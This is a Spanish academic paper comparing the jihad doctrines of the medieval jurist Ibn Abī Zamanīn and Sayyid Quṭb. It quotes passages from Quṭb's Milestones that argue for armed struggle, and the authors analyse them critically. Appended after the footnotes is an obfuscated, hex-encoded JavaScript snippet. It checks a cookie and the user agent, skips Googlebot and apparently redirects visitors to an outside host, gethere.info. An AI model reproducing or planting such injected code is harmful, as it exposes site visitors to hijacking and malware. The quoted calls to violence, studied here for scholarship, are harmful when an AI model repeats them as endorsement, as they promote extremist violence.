Crítico literario modernista en los treinta y en los cuarenta, encargado de la sección de propaganda de Los Hermanos Musulmanes, durante una campaña en 1965, produjo una serie de escritos que sobrepasaban los principios de Los Hermanos inspirado por pensadores musulmanes como Ibn Taymiyya, Hassan al-Banna, Abū Ala al-Maududi, su discípulo Nadvi, entre otros. Influenciado por obras como Yahiliya Moderna de al-Maududi, donde condena la modernidad y su incompatibilidad con el Islam. Cuando se conocieron Nadvi y Quṭb vieron que compartían puntos de vista e influenció a la hora de escribir La lucha entre el Islam y el Capitalismo en 1952. El concepto de Yahiliyya Moderna se vería reflejado en obras como Justicia Social en el Islam, en A la Sombra del Corán y en Jalones en el camino o Hitos en el camino[42]. Para él, es un método creado por el hombre en vez de por Dios, como el mandato regido por el hombre, el materialismo, etc. También para él es yahiliyya cuando se le da tanta importancia a la ciencia en vez de a Dios y todo esto es su visión de la cultura occidental, aparte del Capitalismo y el Consumismo que según Sayyid Quṭb, estos modelos occidentales no tendrían futuro y ve que el único modo de salvar a la humanidad es mediante el Islam, siendo un dichos modelos occidentales un “veneno” para el mundo islámico. Estuvo en la cárcel durante nueve/diez años donde escribió A la sombra del Corán.

Cabe decir que Sayyid Quṭb fue miembro del Partido Wafd y de los Hermanos Musulmanes. Entre sus amigos y conocidos destacan Taha Husayn y Maḥmūd Abbas al-Aqqad. En 1966, fue ahorcado, entre otros miembros de Los Hermanos Musulmanes, por radicalismo.

4.2. Contexto histórico

Sayyid Quṭb vivió bajo tres tipos de gobierno diferentes: el gobierno del sultán (1917-1922) y posteriormente rey, Fu‘ād I (1922-1936) tras la Independencia de Egipto del Imperio Otomano, el rey Faruq (1936-1953), hijo de Fu‘ād I, siendo rey a la edad de 16 años, el cual vivió la Segunda Guerra Mundial; y el gobierno de Gamal Abd al-Nasser (1954-1970) el cual convirtió a Egipto en una república.[43]

  • Obras:
  • Mahamat al-fil- Ša‘ir hayat shi‘r wa al-Jil hadir (La tarea del poeta en la vida y la poesía de la generación contemporánea)
  • Al-Šati al-Majhul (La playa desconocida)
  • Naqd Kitāb: Musṭaqbal al-Thaqa fi Misr (Crítica de un libro de Taha Husayn: El futuro de la cultura en Egipto)
  • Al-Taswir al-Fanni fi-l Qur‘ān (Las imágenes artísticas en el Corán)
  • Al-Atyal al-Arba‘a (Las cuatro apariciones)
  • Tifl min al-Qarya (Un niño en la aldea)
  • Al-Madīna al-Mashura (La ciudad encantada)
  • Kutub wa Shakhsiyyat (Libros y personalidades)
  • Mashahid al-Fil Qiyāma Qur‘ān (Aspectos de la resurrección en el Corán)
  • Askwak (Espinas)
  • Al-Naqd al-Adābī: Usuluhu wa manahijuhu (Crítica literaria: su fundación y métodos)
  • Al-‘Adāla al-Iŷtimā‘īa fī l-Islām (Justicia Social en el Islam)
  • Ma‘rakat al-Islām wa al-Ramaliyya (La Batalla entre el Islam y el Capitalismo)
  • Al-Salām al-‘Alamī wa l-Islām (La paz mundial y el Islam)
  • Dirasāt Islamiyya (Estudios Islámicos)
  • Fī ẓilāl al-Qur‘ān (A la sombra del Corán) primera entrega 1954.
  • Hadha’ l-Dīn (Esta religión es el Islam) posterior a 1954.
  • Al-Musṭaqbal lī hadha’ l-Dīn (El futuro de esta religión) posterior a 1954.
  • Jasais al-Tasawwar al-Islāmī wa Muqawamatuhu (Las características y valores de la conducta islámica)
  • Al-Islām wa al-Muškilāt hadara (El Islam y los problemas de la civilización) posterior a 1954.
  • M‘ālim fī l-Tarīq (Señales o Hitos en el camino/ Las normas en el camino del Islam)
  • Principios básicos de la cosmovisión Islámica.
  • El concepto Islámico y sus características.
  • El Islam y la paz universal.[44]

 

De este autor analizaremos partes de dos obras en las que habla del ŷihād:

4.3. Al-‘Adāla al-Iŷtimā‘īa fī l-Islām (Justicia Social en el Islam)

La obra se divide en 9 capítulos, del cual el noveno y ultimo titulado “El comienzo del camino” habla del ŷihād.

  • Capítulo 1: Religión y sociedad en el Cristianismo y en el Islam
  • Capítulo 2: La naturaleza de la justicia social en el Islam
  • Capítulo 3: Los cimientos de la justicia social en el Islam
  • Capítulo 4: Los métodos de la justicia social en el Islam
  • Capítulo 5: Teoría política en el Islam
  • Capítulo 6: Teoría económica del Islam
  • Capítulo 7: La realidad histórica de la justicia en el Islam
  • Capítulo 8: El estado presente y la esperanza del Islam
  • Capítulo 9: El comienzo del camino[45]

A continuación, expondremos fragmentos de la traducción de José Cepedello Boiso (2007) de esta obra al español.

“La lucha real se produce entre el Islam, por un lado, y las fuerzas combinadas de Oriente y Occidente, por otro. El Islam es el único poder verdadero que se opone al empuje de la filosofía materialista profesada en Europa, América y Rusia”. (pág. 354).

Pero el Cristianismo, al menos en lo que podemos observar de él, no puede ser reconocido como una fuerza real que se oponga a las filosofías del nuevo materialismo. Se manifiesta como una fe negativa, aislada e individualista. (pág. 355)

Nuestro verdadero lugar no es en la retaguardia de la caravana, sino donde podamos agarrar la rienda del guía.

Ahora bien, no será fácil alcanzar nuestro autentico sitio en el mundo. Solo lo conseguiremos con grandes e inevitables sacrificios por nuestro bien y por el de toda la humanidad. Pesadas cargas deberán caer sobre los capitalistas y sus seguidores, que están acostumbrados a disfrutar de los placeres mundanos, pero esas cargas son inevitables. Podemos encaminarnos hacia el Islam o hacia el comunismo, pues uno de los dos será nuestro fin inevitable. O podemos tender a los sistemas sociales de Europa y América, que son más afines al Islam. Pero, finalmente, esos sistemas también se dirigirán hacia el comunismo, su filosofía de la vida es la misma y todas sus diferencias son más aparentes que reales. (pág. 356)

Hemos llegado a una encrucijada. Podemos unirnos a la marcha en la retaguardia de la caravana de los occidentales, que llaman a su sistema democracia, o puede ser que acabemos en la caravana de los orientales, que dominan al este comunista. (pág. 357)

4.4. M‘ālim fī l-Tarīq (Las normas en el camino del Islam/ Jalones o Hitos en el camino)

Según la traducción al español, vemos que esta obra[46] se divide en 13 capítulos del cual el quinto se titula “Lucha por la causa divina” (en las versiones consultadas en árabe e inglés, este capítulo correspondería al capítulo cuatro en la versión inglesa).[47]

  • Capítulo 1: Normas en el camino del Islam
  • Capítulo 2: Una generación coránica excepcional
  • Capítulo 3: Naturaleza de la vía coránica
  • Capítulo 4: Nacimiento y particularidades de la sociedad islámica
  • Capítulo 5: Lucha por la Causa Divina
  • Capítulo 6: No hay más Dios que Dios, método de vida
  • Capítulo 7: Legislación universal
  • Capítulo 8: El Islam es la civilización
  • Capítulo 9: El concepto islámico y la cultura
  • Capítulo 10: La nacionalidad y la fe del musulmán
  • Capítulo 11: El traspaso lejano
  • Capítulo 12: Grandeza de la fe
  • Capítulo 13: He aquí el Camino[48]

Vamos a exponer los fragmentos más significativos de su pensamiento en relación con el ŷihād:

“¡Si llegara una persona a manifestar su hostilidad al Islam, debe combatirla hasta que caiga o deje las armas!”.

Los derrotados espiritual e intelectualmente entre los que escriben con motivo de “la lucha por la causa divina” para rebatir esta acusación, confunden las directivas de esta religión, de no usar forzamiento para abrazar la fe, con sus otras directivas en vista de la destrucción de las fuerzas políticas materialistas que impiden a las gentes emanciparse libremente sometiéndoles a su yugo opresor y prohibiéndoles el reconocimiento del poder supremo de Dios. He ahí dos datos distintos que no admiten confusión. Por este mal error, e incluso por esta derrota intentan limitar la lucha por la causa divina del Islam en “una supuesta guerra defensiva”. Ahora bien, la lucha por la causa divina en el Islam es totalmente diferente, no tiene ninguna común medida con las guerras contemporáneas, ni con sus móviles.  (pág.79)

Todo esto no puede realizarse por la simple predicación y la simple persuasión, porque los que se han apropiado del poder de Dios en la Tierra para dominar a su prójimo por medio de este poder, no renunciarán únicamente bajo la influencia de la predicación y la persuasión; con esto, la tarea de los Mensajeros de Dios por el triunfo de su reino en la Tierra ¡habría sido muy fácil! (pág. 81)

El que ha comprendido la naturaleza de esta religión […] supone la necesidad de la acción por el uso de armas al mismo tiempo que la persuasión de ideas, no se le olvidará que no se trata de una acción defensiva en el sentido más estricto del término actual, guerra preventiva o defensiva, como los derrotados presentan la lucha en el Islam, bajo la presión de la situación actual, por una parte, y el pérfido ataque de los orientalistas contra el Islam por otra parte… (pág. 85)

Si es a veces necesario comparar el movimiento de lucha del Islam con el término “acción defensiva”, hace falta entonces tener en consideración que se trata de una “defensa del ser humano”, incluso contra todos los factores que limitan su libertad, y frenan su acción. Estos factores, que residen tanto en las creencias y conceptos, como en los regímenes políticos que se conservan gracias a los obstáculos de orden económico, social o racista y engloban a toda la Tierra desde el alba del Islam, y cuyas secuelas permanecen todavía en el seno de la anarquía presente en nuestros días.

En cuanto a la búsqueda de una justificación en la lucha para el Islam, en el sentido más estricto de la palabra, por el uso contemporáneo del término “guerra defensiva”, y a la tentativa de buscar pruebas para demostrar que la lucha por la fe islámica, era necesaria a fin de rechazar la agresión de las fuerzas coaligadas rodeando la patria islámica-que algunos representan por la península árabe-, no es más que una tentativa, que indica el desconocimiento de la naturaleza de esta religión, y del papel que desempeña en el mundo. (pág. 86)

Seria engañoso creer que el anuncio de liberar al hombre cualquiera que sea, en la Tierra-toda la Tierra- sea detenido por estos obstáculos, librando un combate de pura retórica.  El uso de la lengua y de la persuasión es válido cuando se permite hablar con la gente libremente, sin ninguna de las influencias anteriores, en este caso es justo decir que no hay forzamiento en la religión. Pero cuando hay tales obstáculos y semejantes influencias materiales establecidas, es indispensable eliminarlas por la fuerza, para poder dialogar directamente con los corazones y las almas sin que ningún grillete limite sus libertades y sus acciones.

“La lucha es necesaria para hacer llegar el Llamamiento al Islam, tanto más cuanto que la razón de este Llamamiento es el anuncio de la liberación del hombre […]”. (pág. 87)

“Dios aclara a los creyentes en las primeras aleyas del Corán, en que les autoriza a interpretar la lucha, que la cuestión continua y original en la naturaleza de esta vida, es que la gente se oponga unos a otros para impedir la corrupción en la Tierra” (pág. 90)

Estas justificaciones existían ya en los corazones de los musulmanes cuando emprendían sus luchas por la causa divina. Todas las veces que le preguntaban a un musulmán las razones que le habían empujado a emprender el combate, respondía que él participaba en la guerra con vistas a rechazar el peligro que amenazaba su patria, o para rechazar el ataque de los persas o de los romanos contra los musulmanes, y no participó para extender en el mapa la nación musulmana o multiplicar los botines de guerra. (págs. 99-100)

“[…] Ahora bien, la lucha islámica seguirá su camino decisivo con o sin justificaciones”. (pág. 102)

Esta batalla es impuesta al Islam, así pues, no hay elección en librarla, porque es una lucha natural entre dos existencias que no pueden coexistir por mucho tiempo. Todo esto es, pues, verdad. A partir de este punto de vista es indispensable para el Islam defenderse y librar una batalla defensiva, impuesta inevitablemente sobre él… (pág.103)

“El Islam tiene derecho a hacer desaparecer todas las trabas para dirigirse directamente a los corazones y a los corazones de los seres sin obstáculos instituidos por regímenes políticos del Estado o las situaciones sociales de la gente…” (pág. 105)

 

  1. Comparación de postulados

Antes de proceder a comparar la visión que tienen estos autores de ŷihād, queremos destacar que estamos frente a dos autores que están muy distanciados temporalmente. O sea, uno de la época de la Edad Media y el otro de la época contemporánea.

En un primer momento, vamos a ofrecer los puntos que tienen estos autores en común y luego pasaremos a exponer sus diferencias:

Puntos en común:

  • Ambos poseen una gran formación religiosa desde pequeños.
  • Los dos autores hablan de la primera etapa del Islam, cuando el ŷihād aún no era obligatorio.

Ibn Abī Zamanīn afirma, al respecto, que era la época de la fundación del Islam que duró 13 años, en la que el Profeta recibió todo tipo de maltrato que tenía que aguantar, puesto que todavía los musulmanes eran muy pocos y no tenían la fuerza para defenderse.

No obstante, Sayyid Quṭb afirma que fue una estrategia para evitar la masacre de los pocos musulmanes que había y que la posterior autorización de la lucha no era proteger las fronteras de la ciudad primordialmente sino un medio para asegurar la liberación del hombre y quitarle los obstáculos que le impidan ver claramente la fe.

  • Ambos presentan sus argumentos con autoridad criticando a otros o a personas que piensan diferentes a ellos.
  • Coinciden en muchas de las aleyas que utilizan como por ejemplo la 2:190 que hemos citado ya en varias ocasiones.

Puntos de divergencia:

Ibn Abī Zamanīn  Sayyid Quṭb
§  Analiza el ŷihād desde el punto de vista lingüístico y religioso.§  Lo analiza solo desde el contexto religioso.
§  No se ve en su obra influencia sobre la política.

 

§  Se ve su claro rechazo a la política imperante a lo largo de sus obras.
§  No se ve un odio hacia Occidente.§  Claro odio hacia occidente en todos sus sentidos.
§  Diversidad temática de obras.§  Obras monotemáticas.
§  No estuvo encarcelado, según la información consultada.§  Estuvo en la cárcel entre 9 y 10 años, donde sus ideas se radicalizaron más.

 

A estos puntos también se pueden añadir los siguientes:

  • La diferencia de tiempo entre los dos autores parece confirmar o dar a entender que Sayyid Quṭb es más radical que Ibn Abī Zamanīn.
  • Sayyid Quṭb en las dos obras consultadas critica el Judaísmo y el Cristianismo mientras que Ibn Abī Zamanīn no parece hacer críticas a excepción de las aleyas del Corán.
  • Ibn Abī Zamanīn se basa en las bases teóricas y jurídicas del ŷihād, mientras que Sayyid Quṭb, aunque se basa también en las bases teóricas, predominan pensamientos propios y los de los autores que consulta.
  • Según la mayoría de las obras consultadas, como Emmanuel Sivan en su obra “El Islam radical” entre otros, Sayyid Quṭb es considerado radical y fundamentalista, de hecho, Emmanuel Sivan en dicha obra, comenta que Sayyid Quṭb aprobó unos intensos preparativos militares con fines terroristas (2000:116). Sin embargo, Tarīq Ramadan (2000: 453-455), una de las figuras más importantes hoy día del discurso Islámico ilustrado, no lo ve así. Cabe decir nuevamente que de Ibn Abī Zamanīn no hemos podido localizar muchas obras o muchos autores que hablen de él. Esto puede ser quizás debido a la antigüedad de dicho autor.
  • En la etapa política de Ibn Abī Zamanīn, los gobernantes desempeñaban el papel de mecenas, mientras que en la época política de Sayyid Quṭb no se ha atribuido tanto interés a promover la cultura seriamente.
  • Ibn Abī Zamanīn tiene obras de distinta índole y la única obra en la que habla del ŷihād es la que hemos analizado, mientras que Sayyid Quṭb solo tiene obras referentes al Islam y la política.

 

  1. Conclusión

Después de haber realizado este modesto trabajo que consiste en ver y contrastar las diferentes opiniones que tienen los dos autores que han sido nuestro objeto de estudio, podríamos decir que hemos llegado a la conclusión de que Sayyid Quṭb tiene una visión radical en sus obras que datan de la época contemporánea, indicándonos que es mucho más radical que Ibn Abī Zamanīn, cuya obra no deja entender este grado de radicalización. En aras a la objetividad, habría que señalar que Ibn Abī Zamanīn en su obra se ha limitado a citar lo que otros ya han dicho sin mojarse de manera clara y evidente sobre la visión que tiene del ŷihād. A lo largo de la obra M‘ālim fī l-Tarīq, Sayyid Quṭb repite mucho el concepto de se debe hacer el ŷihād para liberar al hombre de los obstáculos materiales, que así el hombre será libre para poder escoger su religión. Pero esta supuesta “libertad” se contradice con el pensamiento de que el Islam es el único que puede librar al mundo de dichos obstáculos materiales, entonces ya el hombre no sería libre porque si no abraza el Islam entonces es un Yahilí (ignorante), este autor  muestra también un rechazo al Judaísmo y al Cristianismo cuando se supone que el Islam es una continuación de ambas.

 

Puede ser que Sayyid Quṭb no fuera directamente un exaltador del terrorismo, pero evidentemente sus obras han sido un estímulo para grupos de índole terrorista como el grupo Takfīr wa al-Hijra, creado tres años después de su muerte, por Mustafa Sukri miembro de los Hermanos Musulmanes e influyó en grupos como al-Qaeda cuyo líder, Osama Bin Laden había recibido clases en la universidad del hermano de Sayyid, Muhammad.

 

Los grupos terroristas actuales pretenden mediante el ŷihād llevar a cabo atrocidades que nada tienen que ver con el Islam. Con la idea de volver a los primeros tiempos del Islam que se supone que es el más “puro”, pero se podría decir que es del casi todo imposible es como si un grupo de cristianos o judíos quisieran volver al principio de sus respectivas religiones. Nos guste o no el tiempo pasa, los tiempos cambian y hay que ir adaptándose a las cosas modernas; unos grupos fundamentalistas no pueden pretender quedarse anclados en un tiempo determinado quedándose así para siempre, es imposible.

 

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[1]              NEWBY, Gordon D. Breve Enciclopedia del Islam, Madrid, Alianza Editorial, 2002, p. 93-94.

[2]              Ibidem, p. 93-94.

[3]              http://dle.rae.es/?id=cC2RuNr

[4]              GALINDO AGUILAR, E.: Enciclopedia del Islam, Darek-Nyumba, Madrid, 2004, p. 491.

[5]              Testimonio de fe, oración, limosna, ayuno y peregrinaje.

[6]              GARCÍA SANJUÁN, A.: La doctrina clásica del yihad frente al terrorismo”, Miranda del Ebro, 2008, p. 40-41.

[7]              CORTÉS, J.: El Corán. Herder Editorial, Barcelona, 2005, p.31-32.

[8]              VERNET, J.: El Corán. Editorial Optima, Barcelona, 1999, p.59-60.

[9]              MELARA NAVÍO, A. El Corán, traducción comentada. Nuredduna Ediciones, Palma de Mallorca, 1998, p.33-34.

[10]             AL-MONTAJAB, “La Selección” en la interpretación del Sagrado Qur’an, Árabe y Español, Primera Parte, El Cairo, 2001, p.59-61.

[11]             CORTÉS, J.: El Corán. Herder Editorial, Barcelona, 2005, p.188.

[12]             VERNET, J.: El Corán. Editorial Optima, Barcelona, 1999, p.151.

[13]             MELARA NAVÍO, A. El Corán, traducción comentada. Nuredduna Ediciones, Palma de Mallorca, 1998, p.162.

[14]             AL-MONTAJAB, “La Selección” en la interpretación del Sagrado Qur’an, Árabe y Español, Primera Parte, El Cairo, 2001, p.289.

[15]             CORTÉS, J.: El Corán. Herder Editorial, Barcelona, 2005, p.203-204.

[16]             VERNET, J.: El Corán. Editorial Optima, Barcelona, 1999, p.160.

[17]             MELARA NAVÍO, A.: El Corán, traducción comentada. Nuredduna Ediciones, Palma de Mallorca, 1998, p. 174.

[18]             AL-MONTAJAB, “La Selección” en la interpretación del Sagrado Qur’an, Árabe y Español, Primera Parte, El Cairo, 2001, p.311.

[19]             MUSLIM IBN AL-HAYYAY AL-QUSHAYRÎ AL-NAYSABÛRÎ, Abî Al-Husayn.: Sahîh Muslim, Traducción: ‘Abdu Rahmân Colombo Al-Yerrâhî, Oficina de cultura y difusión islámica, Argentina, p.510.

[20]             ÉTIENNE, B.: ¿Qué inquieta del Islam?. Ediciones Bellaterra, Barcelona, 2005, p.30.

[21]             IBN ‘ABDAL LATIF AZ ZUBAIDI, Z. A.: Sahih Al-Bujari. Madrasa Editorial, Granada, 2008, p.289.

[22]             AL-QAYRAWANī, I.A.Z.: La Risala, Tratado de creencia y derecho musulmán, Editorial Kutubia Mayurqa, 1999, p.287.

[23]             ARCAS CAMPOY, M.: El Kitāb Muntajab al-Aḥkām de Ibn Abī Zamanīn. Estudio, traducción y edición crítica del sumario y del libro I, Tesis Doctoral, Universidad de Granada,1982, p. 49-52.

[24]             Ibidem, p. 47-48.

[25]             ASFARUDDIN, A.: Striving in the path of God, Oxford University Press, 2013, p. 163-165.

[26]             ARCAS CAMPOY, M.: Teoría jurídica de la guerra santa: el Kitāb Qidwat al-Gāzī de Ibn Abī Zamanīn, Al-Andalus-Magreb I, 1993, p.53-54.

[27]             Ibidem, p. 54-55.

[28]             ZAMANĪN, I. A.: Qudwāt al-Gāzī, ed. y est. por ‘A. Sulaymānī, Editorial Dār al-Garb al-Islāmī, Beirut, 1989, p.116.

[29]             ARCAS CAMPOY, M.: Teoría jurídica de la guerra santa: el Kitāb Qidwat al-Gāzī de Ibn Abī Zamanīn, Al-Andalus-Magreb I, 1993, p. 53.

[30]             Ibidem, p. 58.

[31]             Ibidem, p. 59.

[32]             ARCAS CAMPOY, M.: Teoría jurídica de la guerra santa: el Kitāb Qidwat al-Gāzī de Ibn Abī Zamanīn, Al-Andalus-Magreb I, 1993, p.59.

[33]             ZAMANĪN, I. A.: Qudwāt al-Gāzī, ed. y est. por ‘A. Sulaymānī, Editorial Dār al-Garb al-Islāmī, Beirut, 1989, p.101-104.

[34]             ZAMANĪN, I. A.: Qudwāt al-Gāzī, ed. y est. por ‘A. Sulaymānī, Editorial Dār al-Garb al-Islāmī, Beirut, 1989, p.104.

[35]             Ibidem, p.105-107.

[36]             Ibidem, p. 115-118.

[37]             Ibidem, p. 118-121.

[38]             ZAMANĪN, I. A.: Qudwāt al-Gāzī, ed. y est. por ‘A. Sulaymānī, Editorial Dār al-Garb al-Islāmī, Beirut, 1989, p.121-125.

[39]             Ibidem, p.127-128.

[40]             Ibidem, p. 139-223.

[41]             QUTB, S.: Justicia social en el Islam, Trad. de José Cepedello Boiso, Editorial Almuzara, 2007, p.7-30.

[42]            SIVAN, E.: El Islam radical, Ediciones Bellaterra, Barcelona, 2000, p.36-156.

[43]             https://es.wikipedia.org/wiki/Fuad_I_de_Egipto

                https://es.wikipedia.org/wiki/Faruq_de_Egipto

[44]             www.ecured.cu/Sayyid_Qutb#Obras

[45]             QUTB, S.: Justicia social en el Islam, Trad. de José Cepedello Boiso, Editorial Almuzara, 2007, p. 359-360.

[46]             QUTB, S.: Las normas en el camino del Islam, Centro Islámico, Granada, 1978.

[47]             QUTB, S.: M‘ālim fī l-Tarīq, Editorial Dār šurūq, al-Qāhira, 1979, p. 189.

QUTB, S.: Milestones, Editorial Maktabah Booksellers and Publishers, Birminghan, England, 2006, p.63-86.

[48]             QUTB, S.: Las normas en el camino del Islam, Centro Islámico, Granada, 1978, p. 73-108.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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